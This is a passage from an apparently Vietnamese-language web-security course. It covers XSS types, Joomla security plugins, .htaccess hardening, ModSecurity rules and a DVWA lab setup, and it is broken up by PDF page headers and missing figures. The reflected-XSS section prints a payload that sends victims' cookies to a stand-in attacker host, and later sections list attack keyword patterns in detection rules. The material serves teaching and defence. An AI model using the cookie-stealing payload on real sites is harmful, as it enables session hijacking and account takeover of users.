- Thực tế có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong

những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người

dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.

- Chi tiết được mô tả theo các bước như sau:

1. Người dùng đăng nhập web và giả sử được gán session:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Bằng cách nào đó, hacker gửi được cho người dùng URL:

http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-

site.net/”%2bdocument.cookie;</script>

Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của

hacker tạo ra

Page 81: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

81

3. Nạn nhân truy cập đến URL trên

4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript

của hacker)

5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

6. Đoạn javascript mà hacker tạo ra thực tế như sau:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie

người dùng:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

Host: hacker-site.net

7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như

session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư

cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

4.2 Stored XSS

- Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện

tối thiểu qua 2 bước.

- Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không

được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

- Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao

tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi

trên trình duyệt người dùng.

Page 82: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

82

- Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kỹ

thuật Stored XSS còn được gọi là second-order XSS.

- Kịch bản khai thác được mô tả như hình sau:

- Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.

o Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân

truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện

việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng,

hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân,

việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình

truy cập đã bị nhiễm độc.

o Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm

tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng

web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân

đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã

độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL

Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan

thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này

yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian

này người dùng vẫn đang trong phiên làm việc.

- Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất

nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng

web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền

điều khiển web.

Page 83: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

83

4.3 DOM-based XSS

- DOM: viết tắt của Document Object Model là 1 dạng chuẩn của W3Cđưa ra

nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML.

Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành

phần trong HTML, XML đều được xem như một node.

- DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM

của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau.

- Một website có URL đến trang đăng ký như sau:

http://example.com/register.php?message=Please fill in the form

- Khi truy cập đến thì chúng ta thấy một Form rất bình thường

- Có thể dễ dàng suy luận tham số message truyền vào nội dung thông báo trên

form, xem kỹ source code của đoạn thông báo này

- Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm

tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập các URL nguy

hiểm.

- Thay vì truyền

message=Please fill in the form

- thì truyền

message=<label>Gender</label><div class="col-sm-4"><select class = "form-

control" onchange="java_script_:show()"><option

value="Male">Male</option><option

value="Female">Female</option></select></div><script>function

show(){alert();}</script>

Page 84: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

84

- Khi đấy Form đăng ký sẽ trở thành thế này:

-

- Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và

khi lựa chọn giới tính, Script sẽ được thực thi

- giá trị truyền vào tham số message được giải thích như sau:

<label class="col-sm-2 control-label">Gender</label><div class="col-sm-

4"><select class = "form-control" onchange="java_script_:show()"><option

value="Male">Male</option><option

value="Female">Female</option></select></div><script>function

show(){alert();}</script>

- Mục đích chính của nó là thực thi hàm show() mỗi khi có sự kiện onchage trên thẻ

select, hàm show() ở đây chỉ đơn thuần bật ra popup để chứng tỏ script đã được

thực thi. Tuy nhiên trong thực tế, hacker thường sẽ sử dụng hàm show() này để

truyền giá trị cookie người dùng về một server định trước (có thể xem lại bài

Reflected XSS phía trên có đề cập đến cách hacker tạo request này như thế nào).

- Ví dụ này cho chúng ta 2 kết luật quan trọng. Thứ nhất mã độc đã được thực thi

ngay khi click vào giá trị trong thẻ select, tức là được thực thi ngay ở phía client

mà không cần thông qua respond của server. Thứ 2, cấu trúc HTML đã bị thay đổi

với script truyền vào. Và cũng có thể thấy kịch bản khai thác thực tế, DOM Based

có phần giống với Reflected hơn là Stored XSS khi phải lừa người dùng truy cập

vào một URL đã nhúng mã độc.

- Hình sau mô tả từng bước thực hiện kỹ thuật tấn công DOM Based XSS:

Page 85: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

85

5 Joomla Security Plugin

- Joomla là một trong những CMS phổ biến trên thế giới, do đó nó cũng là đề tài

mà được các hacker quan tâm thông qua các cuộc tấn công. Do đó việc đảm

bảo an ninh cho website cũng là vấn đề đáng quan tâm, hiện tại CMS đã hỗ trợ

các plugin với nhiều tính năng để đảm bảo hạn chế các cuộc tấn công từ các

attacker.

- Các plugin chính: Centrora Security, Securitycheck, RSFirewall

5.1 Centrora Security

- Centrora Bảo mật là một plugin tiên tiến cho nền tảng WordPress được xây dựng

trên đầu trang của một cài đặt WP thường xuyên, thêm tính năng và cơ chế để

bảo vệ các trang web chống lại các loại hình tấn công.

- Các plugin cũng sửa chữa một vấn đề tiện ích mà các plugin WordPress an ninh

nhất có, cho phép ngay cả người dùng không có kỹ thuật để hiểu và sử dụng các

tính năng của nó, tất cả nhờ vào một cách dễ dàng để quản lý trang bảng điều

khiển trong WordPress phụ trợ.

Page 86: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

86

5.2 Securitycheck

- Là một giao diện module để quản lý toàn bộ các extension nhanh chóng và dễ

dàng

- Web Firewall: đã được kiểm tra rằng chống lại hơn 90 loại tấn công SQL Injectio,

LFI và XSS và bao gồm các chức năng:

o Hỗ trợ Ipv6

o Blacklist

o Whitelist

o Lưu lại các sự kiện, admin có thể xem từ backend

o Chuyển hướng đến trang mặc định nếu có cuộc tấn công được phát hiện

o Bảo vệ cấp độ thứ 2 để tìm các từ nghi ngờ

o Bảo vệ session

- File manager: người dùng có thể kiểm tra file/folder permission và dễ dàng nhìn

thấy các cấu hình bị thiếu sót.

- .Htaccess protection: Thêm 1 key bí mật cho trang admin của người dùng để

ngăn chặn tấn công dictionary và brute force

- Kiểm tra lỗ hổng: Securitycheck thực hiện 1 cuộc kiểm tra version của các

component mà Joomla của người dùng đã cài đặt, so sánh chúng với database

của chúng để xem nếu nó là extension dính lỗ hổng

- Security kiểm tra từng cá thể mỗi component để tránh lỗ hổng

- Remote Management: quản lý extension từ xa từ bảng điều khiển trung tâm.

5.3 RSFirewall

- RSFirewall! là dịch vụ bảo mật Joomla tiên tiến nhất! mà người dùng có thể sử

dụng để bảo vệ trang web Joomla của người dùng từ việc phát hiện xâm nhập và

tấn công của hacker. RSFirewall! được hỗ trợ bởi một nhóm các chuyên gia

được đào tạo để luôn được cập nhật với các lỗ hổng và cập nhật bảo mật mới

nhất được biết trước.

o Bảo vệ trang web của người dùng từ Lỗ hổng Joomla! RCE

o Scan các file của người dùng để tìm phần mềm độc hại

o Bảo vệ thư mục /administrator của người dùng bằng mật khẩu bổ sung

o Kiểm tra các core file Joomla! Đảm bảo toàn vẹn

o Bảo vệ administrator accounts

o Các bước để tăng tính bảo mật cho trang web của người dùng

o Tìm và sửa các file và folder không an toàn

o Chặn quyền truy cập vào các quốc gia cụ thể

o Tự động chặn IP tấn công trang web của người dùng

6 Htaccess

6.1 .htaccess: là một tập tin cấu hình ở cấp thư mục được hỗ trợ bởi một vài máy

chủ web, cho phép phân quyền cấu hình máy chủ (web server). Nó được đặt bên

trong cây thư mục của trang web và có khả năng ghi đè lên cấu hình lên thư mục

hiện hành và toàn bộ các thư mục con nằm bên trong nó.

- .htaccess cung cấp một loạt các chỉ thị, tác động trực tiếp lên cấu hình của lõi

server (Apache) mà không cần phải truy câp vào bên trong hệ thống chỉnh sửa

các tập tin config của server ( httpd.conf ), có ảnh hưởng vô cùng quan trọng đến

toàn bộ hệ thống website đang chạy

Page 87: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

87

- Cấu hình chính

o Enable .htaccess:

Để có thể sử dụng được tập tin .htaccess và cấu hình phân

quyền, rewrite url,… theo ý muốn thì trước tiên ta phải bật chức

năng ghi đè của tập tin .htaccess trong tập tin cấu hình chính là

httpd.conf.

Tìm trong tập tin httpd.conf dòng như dưới và xóa ký tự comment

code “#” để bật .htaccess

o Giới hạn quyền ghi đè của .htaccess

Dưới đây là một ví dụ đơn giản cho chúng ta thấy rằng file

httpd.conf tác động lên khả năng ghi đè của tập tin .htaccess như

đã nói ở trên.

o Khả năng viết lại được dẫn (rewrite url)

Có thể nói, nhắc đến .htaccess là chúng ta nhắc đến cụm từ quen

thuộc “mod_rewrite”, nó cho phép chúng ta viết lại đường dẫn

trang web sao cho thân thiện, dùng cho nhiều mục đích mà trong

đó mục đích chúng ta thường thấy đó là nâng cao khả năng SEO

web.

6.2 Authentication

- Trước tiên tạo một file, đặt tên là .htpasswd

- Sau đó vào trang http://www.htpasswdgenerator.net/ , làm theo hướng hướng

dẫn để generate ra đoạn mã, sau đó copy đoạn mã này vào file .htpasswd.

- Đặt file này trong đường dẫn web của chúng ta (lưu ý, ta có thể đặt ở bất cứ nơi

đâu trong folder chưa website của ta)

- Tiếp tục, trong file .htaccess thêm dòng này

- Lưu lại file .htaccess và đặt nó vào thư mục mà chúng ta muốn bảo vệ, bắt người

dùng phải nhập username và password giống như trong file .htpasswd chúng ta

đã định sẵn mới có thể đăng nhập được vào hệ thống website của chúng ta

6.3 Session manager

- Ví dụ 1: .htaccess file sẽ chuyển hướng đường dẫn

https://kungfuphp.com/contact.php thành https://kungfuphp.com/contact-

hieu.html

Page 88: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

88

- Ví dụ 2: Chuyển toàn bộ đường dân có đuôi .php sang đuôi .abc

- Ví dụ 3: Chuyển hướng tên miền https://kungfuphp.com thành

https://www.kungfuphp.com

6.4 Token control

- Ví dụ: chuyển toàn bộ các bài đăng trong https://kungfuphp.com/post?id=1 thành

https://kungfuphp.com/post-1.html

6.5 Redirect admin

- Để cho phép 1 IP cụ thể access. Thay thế 123\.123\.123\.123 bằng IP của chúng

ta

- Để cho phép nhiều IP access vào, thay thế 123\. 123\. 123\. XXX bằng IP của

chúng ta

- Nếu IP của chúng ta thay đổi, ta có thể bảo vệ site bằng việc chỉ cho phép yêu

cầu login tới từ tên domain. Chỉ việc thay example\.com bằng domain của chúng

ta.

- Hầu hết bruforce dựa vào việc gửi POST request trực tiếp tới wp-login.php của

chúng ta. Do đó nếu POST request tới từ attackers thì nó sẽ bị loại bỏ.

Page 89: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

89

- Nếu attackers trong quá trình bị block mà cố gắng gửi POST request (trong vòng

15 phút) thì quá trình block sẽ kéo dài lâu hơn.

7 Cài đặt công cụ bảo mật Modsecurity

- ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu

hình, tùy chỉnh các phương thức phát hiện tấn công vào web server. Nó cũng là

một tường lửa mức ứng dụng. Đứng trước Webserver và có khả năng xử lý

traffic trước khi đưa vào Webserver. Mọi yêu cầu gửi đến Webserver từ phía

client sẻ được gửi qua modsecurity

- Phiên bản ModSecurity hiện tại đã hỗ trợ Apache, Nginx và IIS

- Một số tính chất mà mod_security có thể dùng làm Web Application Firewall:

o Tính linh động (Flexibility): Việc phân tích luồng HTTP theo một tiêu chí

nhất định trong thực tế thường gặp vấn đề là làm sao để có thể so trùng

mẫu mà ta muốn. Ngoài ra, do nhu cầu của từng hệ thống web là khác

nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau.

Mod_security đã kết hợp với OWASP phát triển các tập rule mẫu (Core

Rule Set) nhằm tạo ra tính linh động cho từng mô hình web khác nhau,

hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống đang

quản trị

o Tính thụ động (Passivity): ModSecurity sẽ không thực thi các tác vụ nếu

như người quản trị viên không chỉ định công việc cụ thể cho chương

trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân

tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông

qua cơ chế phân tích và quyết định tương tác với hệ thống sẽ do người

quản trị thực hiện.

- Chức năng ModSecurity (trên webserver Apache)

o Parsing: ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống

thành cấu trúc dữ liệu mà ModSecurity định nghĩa sẵn. Cấu trúc này sẽ

được chuyển qua cơ chế so trùng mẫu trong tập rule để phân tích nguy

cơ.

o Buffering: Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ

chế hoạt động của ModSec. Việc này có ý nghĩa khi các request gởi đến

ứng dụng web thì phải thông qua ModSecurity trước khi đến ứng dụng xử

lý và những response cũng sẽ được phân tích trước khi trả về phía client.

Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời

gian thực, các dữ liệu mà ModSecurity nhận được và phân tích sẽ được

lưu trữ trong RAM (bao gồm request body và response data)

o Logging: ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request

headers, request body, response header, response body nhằm hỗ trợ

người quản trị phân tích nguy cơ mà hệ thống đang gặp phải để có thể ra

quyết định kiểm soát.

Page 90: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

90

o Rule Engine: Các tập mẫu trong ModSecurity đóng vai trò quan trọng

trong việc phát hiện các dạng tấn công và thực hiện phòng chống

- Modsecurity có khả năng

o Theo dõi HTTP traffic để phát hiện những dấu hiệu bất thường.

o Lọc các dữ liệu ra vào webserver.

o Ghi lại các tương tác giữa client và webserver.

- Modsecurity hoạt động dựa trên các rules. MS có hoạt động hiệu quả hay không

phụ thuộc rất lớn vào khả năng thiết lập rule của người quản trị.

- Các khái niệm cần biết: HTTP REQUEST, HTTP RESPONSE, REQUEST

HEADER, REQUEST BODY…

Cài đặt:

- Cập nhật hệ thống

o [root@server ~]# yum -y update

- Cài đặt các thư viện cần thiết

o [root@server ~]# yum install gcc make httpd-devel libxml2 pcre-devel

libxml2-devel curl-devel git

- Cài đặt mod_security

o Yum –y install mod_security

- Sửa lại file httpd.conf để thực hiện load module ModSecurity (thêm vào dòng

đầu):

LoadModule security2_module modules/mod_security2.so

- Restart apache

o service httpd restart

Cấu hình:

- ModSecurity là application firewall thuộc loại rules-based, nghĩa là chúng ta cần

thiết lập các luật(rules) để ModSecurity hoạt động. Các rules này được thể hiện

dưới dạng các chỉ thị (directives) và có thể đặt trực tiếp trong file cấu hình

Apache(thông thường là httpd.conf).

- Ngoài ra có thể đặt các cấu hình này vào một file riêng, chẳng hạn

modsecurity.conf trong thư mục conf.d và sau đó chúng ta cần thêm vào

httpd.conf

o Include conf.d/modsecurity.conf

o (mặc định trong httpd.conf đã có dòng include conf.d/*.conf . Với dòng

này nó sẽ thực hiện tất cả các file có phần mở rộng là .conf)

a. Bất Rule on và off

- Theo mặc định thì rule engine bị disable. Để kích hoạt ModSecurity ta cần thêm

chỉ thị sau vào file cấu hình

SecRuleEngine On

- Directive này dùng để điều khiển rule engine, chúng ta có thể sử dụng các tùy

chọn là On, Off hoặc DynamicOnly.

o On : các rules của ModSecurity được áp dụng cho tất cả nội dung.

o Off : vô hiệu hóa ModSecurity.

- DynamicOnly : khi nó phù hợp với một luật nào đó thì nó cũng không thực hiện

bất kỳ hành động nào(rất có ích trong trường hợp muốn test một luật nào đó mà

không muốn nó block bất kì request nào có vấn đề với luật).

b. SecDefaultAction

Page 91: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

91

- Dùng để tạo các action mặc định. Khi tạo một luật mà không chỉ rõ hành động

cho luật đó, nó sẽ thực hiện hành động mặc định.

o Ví dụ : SecDefaultAction “phase:2.deny,log,status:403”

Xây dựng chính sách chống lại một số tấn công phổ biến

- SQL Injection

o Các từ khóa chính thường sử dụng trong tấn công SQL Injection và các

regular expressions tương ứng :

UNION SELECT union\s+select

UNION ALL SELECT union\s+all\s+select

INTO OUTFILE into\s+outfile

DROP TABLE drop\s+table

ALTER TABLE alter\s+table

LOAD_FILE load_file

SELECT * select\s+*

o \s : được định nghĩa trong PCRE là một regular expression cho phép phát

hiện mọi khoảng trắng và cả các mã thay thế (%20)

o Để chống lại tấn công SQL Injection, ta dựa vào các đặc điểm trên từ đó

đưa ra rule sau:

SecRule ARGS "union\s+select" "t:lowercase,deny,msg:'SQL

Injection'"

SecRule ARGS "union\s+all\s+select" "t:lowercase,deny,msg:'SQL

Injection'"

SecRule ARGS "into\s+outfile" "t:lowercase,deny,msg:'SQL Injection'"

SecRule ARGS "drop\s+table" "t:lowercase,deny,msg:'SQL Injection'"

SecRule ARGS "alter\s+table" "t:lowercase,deny,msg:'SQL Injection'"

SecRule ARGS "load_file" "t:lowercase,deny,msg:'SQL Injection'"

SecRule ARGS "select\s+*" "t:lowercase,deny,msg:'SQL Injection'"

- XSS Attack

SecRule ARGS "alert\s+*\(" "t:lowercase,deny,msg:'XSS'"

SecRule ARGS "&\{.+\}" "t:lowercase,deny,msg:'XSS'"

SecRule ARGS "<.+>" "t:lowercase,deny,msg:'XSS'"

SecRule ARGS "javascript:" "t:lowercase,deny,msg:'XSS'"

SecRule ARGS "vbscript:" "t:lowercase,deny,msg:'XSS'"

- Brute Force

Page 92: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

92

#

# Block further login attempts after 3 failed attempts

#

<LocationMatch ^/login>

# Initalize IP collection with user's IP address

SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"

# Detect failed login attempts

SecRule RESPONSE_BODY "Username does not exist"

"phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=60"

# Block subsequent login attempts

SecRule IP:FAILED_LOGINS "@gt 3" deny

</Location>

#

# Throttle login attempts after 3 failed attempts

#

<LocationMatch ^/login>

SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"

SecRule RESPONSE_BODY "Username does not exist"

phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=10"

SecRule IP:FAILED_LOGINS "@gt 3" "phase:4,allow,pause:3000"

</Location>

- Directory Indexing

#

# Prevent directory listings from accidentally being returned

#

SecRule REQUEST_URI "/$" "phase:4,deny,chain,log,msg:'Directory index

returned'"

SecRule RESPONSE_BODY "<h1>Index of /"

- Detecting the real IP address of an attacker:

SecRule ARGS "/etc/passwd" "pass,redirect:/log_ip.php"

Page 93: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

93

- Một số tấn công khác

o Xflash ddos

SecRule REQUEST_HEADERS_NAMES "x-flash-version" deny

o Command Excution and file disclosure

SecRule ARGS_VALUES "^(uname|id|ls|cat|rm|kill|mail)"

SecRule ARGS “(/home|/var|/boot|/etc|/bin|/usr|/tmp)”

o HTML Tags

SecRule ARGS "<applet"

SecRule ARGS "<div"

SecRule ARGS "<embed"

SecRule ARGS "<iframe"

SecRule ARGS "<img"

SecRule ARGS "<meta"

SecRule ARGS "<object"

SecRule ARGS "<script"

SecRule ARGS "<textarea"

o Bad User-Agent

SecRuleHTTP_USER_AGENT

"<(.|\s|\n)?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?

(script|about|applet|activex|chrome|object)"

#PHP code injection attack

SecRule HTTP_USER_AGENT "(<\?php|<[[:space:]]*\?[[:space:]]*php)"

SecRule HTTP_USER_AGENT ".*HTTP_GET_VARS"

SecRule HTTP_USER_AGENT "Mosiac 1\.*"

SecRule HTTP_USER_AGENT "Brutus/AET"

SecRule HTTP_USER_AGENT ".*WebRoot "

#Web leaches

SecRule HTTP_USER_AGENT "Web Downloader"

SecRule HTTP_USER_AGENT WebZIP

SecRule HTTP_USER_AGENT WebCopier

SecRule HTTP_USER_AGENT Webster

SecRule HTTP_USER_AGENT WebZIP

SecRule HTTP_USER_AGENT WebStripper

SecRule HTTP_USER_AGENT "teleport pro"

SecRule HTTP_USER_AGENT combine

SecRule HTTP_USER_AGENT "Black Hole"

SecRule HTTP_USER_AGENT "SiteSnagger"

SecRule HTTP_USER_AGENT "ProWebWalker"

SecRule HTTP_USER_AGENT "CheeseBot"

SecRule HTTP_USER_AGENT ".*Nessus"

Page 94: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

94

SecRule HTTP_USER_AGENT ".*Nikto"

Sử dụng DVWA để DEMO các cuộc tấn công và cách phòng chống bằng ModSecurity

1. DVWA: là một framework đã xây dựng sẵn những lỗ hổng bảo mật theo top 10 điểm

yếu bảo mật Web của OWASP. Trình độ từ mức low đến high có thể đáp ứng nhu

cầu kiểm thử của rất nhiều người

2. Cài đặt DVWA

- Download link: https://github.com/ethicalhack3r/DVWA/archive/master.zip

- Có thể triển khai trên CentOS hoặc dùng XAMPP trên Windows.

- Tải về, giải nén và copy vào đường dẫn /var/www/html

- Quá trình chỉnh sửa:

o Vào MySQL tạo database tên dvwa

o Cd /var/www/html/

o chown -R apache:apache DVWA/

o chmod 755 -R DVWA/

o cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php

o vi DVWA/config/config.inc.php

$_DVWA[ 'db_server' ] = '127.0.0.1';

$_DVWA[ 'db_database' ] = 'dvwa';

$_DVWA[ 'db_user' ] = 'root';

$_DVWA[ 'db_password' ] = 'root’s password';

$_DVWA[ 'recaptcha_public_key' ] =

'6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

$_DVWA[ 'recaptcha_private_key' ] =

'6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

o Save file.

o Vi /etc/php.ini

allow_url_include = Off => allow_url_include = On

o service httpd restart

- Setup DVWA: 1.2.3.3/DVWA/setup.php

Page 95: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

95

- Click chọn Create/ Reset database

- Sau khi cài đặt xong DVWA sẽ có giao diện sau đây:

- Tài khoản mặc định của DVWA:

o username: admin

o password: password

- Sau khi đăng nhập DVWA có giao diện chính như sau:

3. Viết Rule ngăn chặn XSS

- Test lỗi XSS reflected ở mức low security khi chưa bật mod Security bằng câu

lệnh javascript: <script>alert(“XSS testing – TuongLua”)</script> khi nhập vào

URL

http://cysecure.com/dvwa/vulnerabilities/xss_r/?name=<script>alert("XSS Test");</script>

Page 96: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

96

- Bật mod security với 1 RULE đơn giản để chống lại XSS

<IfModule security2_module>

# Bat che do loc cua Modsecurity

SecRuleEngine On

# Thiet lap action mac dinh

SecDefaultAction "phase:2,deny,log,status:403"

SecRule REQUEST_URI

"Jscript|alert|onsubmit|onmouseover|onmove|onerror|document|javascript|scri

pt" "deny,phase:1,setvar:tx.xssscore=+1,id:10000"

</IfModule>

- Kết quả:

Page 97: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

97

Phần 4: Tăng cường bảo mật website với https và hsts 1. HTTPv1 và HTTPv2

2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign

3. Cài đặt SSL trên webserver, kích hoạt https

4. Scan HTTP version

5. Buộc website chạy HTTPs

6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver

Page 98: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

98

1. Giao thức HTTP HTTP là một giao thức giao tiếp trên cơ sở TCP/IP, mà được sử dụng để phân phối

dữ liệu (các tệp HTML, các file ảnh, …) trên WWW. Cổng mặc định là TCP 80, những các

cổng khác cũng có thể được sử dụng. Nó cung cấp một cách được tiêu chuẩn hóa cho các

máy tính để giao tiếp với nhau. Chi tiết kỹ thuật HTTP xác định cách mà dữ liệu yêu cầu của

Client sẽ được xây dựng và được gửi tới Server, và cách để Server phản hồi các yêu cầu

này

Đặc trưng cơ bản:

- HTTP là giao thức connectionless : giả sử một trình duyệt khởi tạo một yêu cầu

HTTP và sau đó một yêu cầu được tạo ra, Client ngắt kết nối từ Server và đợi

cho một phản hồi. Server xử lý yêu cầu và thiết lập lại sự kết nối với Client để gửi

phản hồi trở lại.

- HTTP là một phương tiện độc lập: có nghĩa là, bất kỳ loại dữ liệu nào cũng có thể

được gửi bởi HTTP miễn là Server và Client biết cách để kiểm soát nội dung dữ

liệu. Nó được yêu cầu cho Client cũng như Server để xác định kiểu nội dung bởi

sử dụng kiểu MIME thích hợp.

- HTTP là stateless: Như đã được đề cập ở trên, HTTP là connectionless và kết

quả là HTTP trở thành một giao thức Stateless. Server và Client biết về nhau chỉ

trong một yêu cầu hiện tại. Sau đó, cả server và client đều quên tất cả về nhau.

Do bản chất của giao thức, cả Client và các trình duyệt có thể giữ lại thông tin

giữa các yêu cầu khác nhau giữa các trang web.

Hiện tại HTTP có 2 phiên bản: v1 và v2

Đặc trưng của HTTPv1:

a. Mỗi connection là 1 tài nguyên

- Trong dạng xử lý này, mỗi connection sẽ request một tài nguyên độc lập. Kết nối

sẽ được mở mới khi cần request một tài nguyên và close khi nhận response

hoàn tất. Đây là dạng làm việc đơn giản và cũng là thông dụng nhất, tuy nhiên rất

không tối ưu vì thời gian thiết lập kết nối mới tốn rất nhiều thời gian do phải thực

hiện bắt tay 3 bước, chưa kể nếu có các lớp xử lý bảo mật như TLS sẽ càng làm

tăng độ trễ của việc thiết lập kết nối này.

Page 99: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

99

b. Keep-alive connection

- Với keep-alive connection, có thể thực hiện nhiều lượt request tài nguyên khác nhau với cùng một connection.

